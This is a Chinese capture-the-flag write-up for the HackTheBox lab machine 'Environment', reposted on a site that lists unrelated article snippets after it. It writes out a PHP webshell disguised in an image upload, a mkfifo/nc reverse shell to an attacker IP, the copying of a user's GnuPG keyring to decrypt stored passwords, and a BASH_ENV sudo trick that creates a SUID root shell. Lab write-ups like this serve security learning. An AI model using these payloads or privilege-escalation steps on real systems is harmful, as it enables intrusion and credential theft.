HTB 赛季7靶场 - Enviroment

最近所幸得点小闲,补个档嘞!~
在这里插入图片描述

nmap扫描

nmap -F -A 10.10.11.67

[Pasted image 20250820135035.png]

dirsearch扫描发现login接口

http://environment.htb/login

![[Pasted image 20250820161506.png]]

构造如下payload,让程序报错,其原理在于缺失了rember后会导致报错,从而告诉我们一个新的参数keep_loggedin,然后我们又构造keep_loggedin参数让函数报错。
[Pasted image 20250820161808.png]

Laravel framework 修改环境变量漏洞

从里面我们可知如果环境变量修改为preprod则可以成功访问到manager/dashboard页面。结合这篇文章https://github.com/Nyamort/CVE-2024-52301,我们使用登录接口后,抓包构造如下请求包边可以进入页面manager/dashboard
![[Pasted image 20250820162501.png]]

在页面我们发现了upload接口
![[Pasted image 20250820162528.png]]

Laravel Framwork filemanager 任意文件上传且解析漏洞

从上面的报错我们还了解到,该应用采用了unisharp.lfm.upload的上传接口,我们在Google查询后发现其存在RCE漏洞https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca
[Pasted image 20250820162854.png]

构造恶意图片

###evil.php
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>cat normal.jpg evil.php > evil2.php

上传webshell
![[Pasted image 20250820163104.png]]

webshell构建交互式shell,payload如下

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.20 9001 >/tmp/f

![[Pasted image 20250820163248.png]]

![[Pasted image 20250820163315.png]]

GnuPG解密

翻找文件,发现/home/hish/.gnupg,/home/hish/backup/keyvault.key文件都可以访问。将文件全部复制到攻击机,准备破解gnupg加密文件keyvault.key

tar -czvf /tmp/archive.tar.gz .gnupg/ backup/

![[Pasted image 20250820163828.png]]

在攻击机我们解压文件,然后将解压出来的.gnupg放在~/目录下,并确认是否导入成功

cp -a ./.gnupg  ~/ 
gpg -K

![[Pasted image 20250820164023.png]]

可以看出已经成功导入,接下来我们需要解密文件

gpg -d backup/keyvault.gpg 

![[Pasted image 20250820164056.png]]

获取密码后,使用hish账号进入ssh
![[Pasted image 20250820164150.png]]

sudo -l 中 ENV BASH_ENV 滥用提权 & sh脚本构建SUID文件提权

查看sudo -l 发现,存在ENV BASH_ENV 变量会被sudo保留,BASH_ENV后面填入的路劲是使用bash的时候都会执行的脚本路径。
![[Pasted image 20250820165603.png]]

如果环境环境变量如下

BASH_ENV=/path/to/script.sh

每当有人执行bash -c或bash解析的命令的时候,就会执行/path/to/script.sh。我们借助这个特点,构造了/tmp/pwn.sh。

#/bin/bashcp -a /bin/bash /tmp/bash
chmod 777 /tmp/bash
chmod +s /tmp/bash

我们将/tmp/pwn.sh设定为BASH_ENV

export BASH_ENV=/tmp/pwn.sh

执行sudo命令

sudo systeminfo

查看/tmp目录

ls -al /tmp

[Pasted image 20250820164634.png]

此时我们已经创建了一个 SUID的bash文件了,且有权限访问。下面开始exploit

/tmp/bash -p

![[Pasted image 20250820164752.png]]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/93771.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/93771.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

源码编译部署 LAMP 架构详细步骤说明

源码编译部署 LAMP 架构详细步骤说明 一、环境准备 1. 关闭防火墙和SELinux [roothrz ~]# systemctl stop firewalld [roothrz ~]# systemctl disable firewalld [roothrz ~]# setenforce 02. 配置YUM网络源 [roothrz ~]# curl -o /etc/yum.repos.d/CentOS-Base.repo https://m…

机器学习----PCA降维

一、PCA是什么&#xff1f;主成分分析&#xff08;Principal Component Analysis&#xff0c;PCA&#xff09;是机器学习中最常用的降维技术之一&#xff0c;它通过线性变换将高维数据投影到低维空间&#xff0c;同时保留数据的最重要特征。PCA由卡尔皮尔逊于1901年发明&#x…

ReactNative开发实战——React Native开发环境配置指南

一、开发前准备 1. macOS平台基础工具安装 brew install node18 brew install watchman brew install cocoapods2. 代理配置 npm config set proxy http://127.0.0.1:7890 npm config set https-proxy http://127.0.0.1:7890# 新增扩展建议&#xff08;可选配置&#xff09; ec…

差速转向机器人研发:创新驱动的未来移动技术探索

在科技日新月异的今天&#xff0c;机器人技术作为智能制造与自动化领域的核心驱动力&#xff0c;正以前所未有的速度发展。其中&#xff0c;差速转向机器人以其独特的运动机制和广泛的应用前景&#xff0c;成为了科研与工业界关注的焦点。本文旨在探讨差速转向机器人研发进展&a…

Wireshark捕获电脑与路由器通信数据,绘制波形观察

一、准备工作 电脑发出数据的波形图绘制在我的另一篇博客有详细介绍&#xff1a; 根据Wireshark捕获数据包时间和长度绘制电脑发射信号波形-CSDN博客 路由器发送给电脑数据的波形图绘制也在我的另一篇博客有详细介绍&#xff1a; 根据Wireshark捕获数据包时间和长度绘制路由…

汽车ECU实现数据安全存储(机密性保护)的一种方案

一、 综述在车辆ECU中总是有一些密钥或重要数据需进行机密性保护&#xff0c;但因产品选型、成本等考虑&#xff0c;导致一些ECU的芯片不支持硬件安全模块&#xff08;例如HSM、TEE等&#xff09;。此时&#xff0c;为保障数据的机密性&#xff0c;可考虑通过软件实现数据的安全…

AI 效应: GPT-6,“用户真正想要的是记忆”

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

云计算学习100天-第25天

部署LNMP环境安装软件#在前一天已经安装nginx的基础上安装MariaDB&#xff0c;php和php-fpm yum -y install mariadb mariadb-server mariadb-devel php php-mysqlnd php-fpm #mariadb&#xff08;数据库客户端软件&#xff09;、mariadb-server&#xff08;数据库服务器软件&…

细化的 Spring Boot 和 Spring Framework 版本对应关系

注:本文由ai辅助,个人整理,有问题可留言 Spring Boot 3.x 系列 (基于 Spring Framework 6.x) Spring Boot 版本 对应的 Spring Framework 版本 Java 支持版本 3.1.5 (最新) 6.0.15 Java 17+ 3.1.4 6.0.14 Java 17+ 3.1.3 6.0.12 Java 17+ 3.1.2 6.0.11 Java 17+ 3.1.1 6.0.…

PyTorch API 1

文章目录torch张量创建操作索引、切片、连接与变异操作加速器生成器随机采样原地随机采样准随机采样序列化并行计算局部禁用梯度计算数学运算常量逐点运算归约操作比较运算频谱操作其他操作BLAS 和 LAPACK 运算遍历操作实用工具符号数字导出路径控制流优化方法操作符标签torch.…

基于FPGA的实时图像处理系统(2)——VGA显示彩条和图片

VGA显示彩条和图片 文章目录VGA显示彩条和图片一、VGA简介二、功能设计1、彩条设计2、图片设计三、结果展示四、代码一、VGA简介 VGA(Video Graphics Array)是IBM在1987年随PS/2机⼀起推出的⼀种视频&#xff0c;具有分辨率⾼、显⽰速率快、颜⾊丰富等优点&#xff0c;在彩 ⾊…

【网络运维】Linux 文本处理利器:sed 命令

Linux 文本处理利器&#xff1a;sed 命令 sed 简介 sed&#xff08;Stream Editor&#xff09;是一款非交互式的流编辑器&#xff0c;诞生于 1973–1974 年间的贝尔实验室&#xff0c;由 McMahon 开发。它专为文本处理而生&#xff0c;功能强大&#xff0c;是 Linux 文本处理常…

week2-[一维数组]出现次数

week2-[一维数组]出现次数 题目描述 给定 NNN 个整数A1,A2,…,ANA_1,A_2,\ldots,A_NA1​,A2​,…,AN​。请求出这 NNN 个数中出现次数最多的数的出现次数&#xff0c;以及出现次数最少的数的出现次数。 输入格式 读入包括 222 行。第一行只有 111 个整数 NNN&#xff0c;表示数…

力扣 hot100 Day79

215. 数组中的第K个最大元素 给定整数数组 nums 和整数 k&#xff0c;请返回数组中第 k 个最大的元素。 请注意&#xff0c;你需要找的是数组排序后的第 k 个最大的元素&#xff0c;而不是第 k 个不同的元素。 你必须设计并实现时间复杂度为 O(n) 的算法解决此问题。 class…

C++围绕音视频相关的资料都有哪些?如何进行学习

音视频技术涉及的内容广泛而深入。我会根据自己的知识给你提供一个系统性的音视频相关资料梳理&#xff0c;主要分为学习路径与核心知识、开源项目与实战、开发者资源以及热点与趋势几个方面&#xff0c;希望能帮助你高效地学习和探索。 先用一个表格来概览主要的学习方向和资…

AI自动化测试,解决传统自动化测试中​​脚本维护成本高、用例覆盖不全、缺陷发现滞后​​等痛点

AI自动化测试&#xff0c;解决传统自动化测试中​​脚本维护成本高、用例覆盖不全、缺陷发现滞后​​等痛点AI自动化测试通过机器学习&#xff08;ML&#xff09;、自然语言处理&#xff08;NLP&#xff09;、计算机视觉&#xff08;CV&#xff09;等技术&#xff0c;解决了传统…

Laravel 事件与监听器

下面是一个完整的用户注册事件和监听器的实现示例&#xff0c;包含事件、监听器、注册、触发等完整流程。一、软件版本 php: 8.2.20laravel: 11mysql: 8.0.29 二、完整实现过程 1.创建事件 1.1 首先创建用户注册事件 php artisan make:event UserRegistered1.2 编辑app/Events/…

前端 React 实现数据懒加载-滚动触底加载数据

在 React 中使用 Intersection Observer API 实现触底加载分页&#xff08;无限滚动&#xff09;1.基本实现思路 在列表底部放置一个 哨兵元素&#xff08;Sentinel&#xff09;&#xff08;如 <div>&#xff09;。使用 IntersectionObserver 监听该元素是否进入视口&…

MySQL 50 道经典练习题及答案

目录 一、数据表设计与初始化 1. 数据表结构说明 2. 建表语句 3. 插入测试数据 二、练习题及答案 1. 查询 "01" 课程比 "02" 课程成绩高的学生的信息及课程分数 2. 查询同时存在 "01" 课程和 "02" 课程的情况 3. 查询存在 &qu…

电竞护航小程序搭建三角洲俱乐部护航派单小程序开发游戏派单系统定制开发

成品系统&#xff0c;可以快速搭建。功能概述&#xff1a;商家入驻、老板点单、快捷发单、自定义发单、发单列表、管事入驻、订单审核裁决、打手入驻、打手排行榜、邀请排行榜、账户充值、余额提现、成为客服等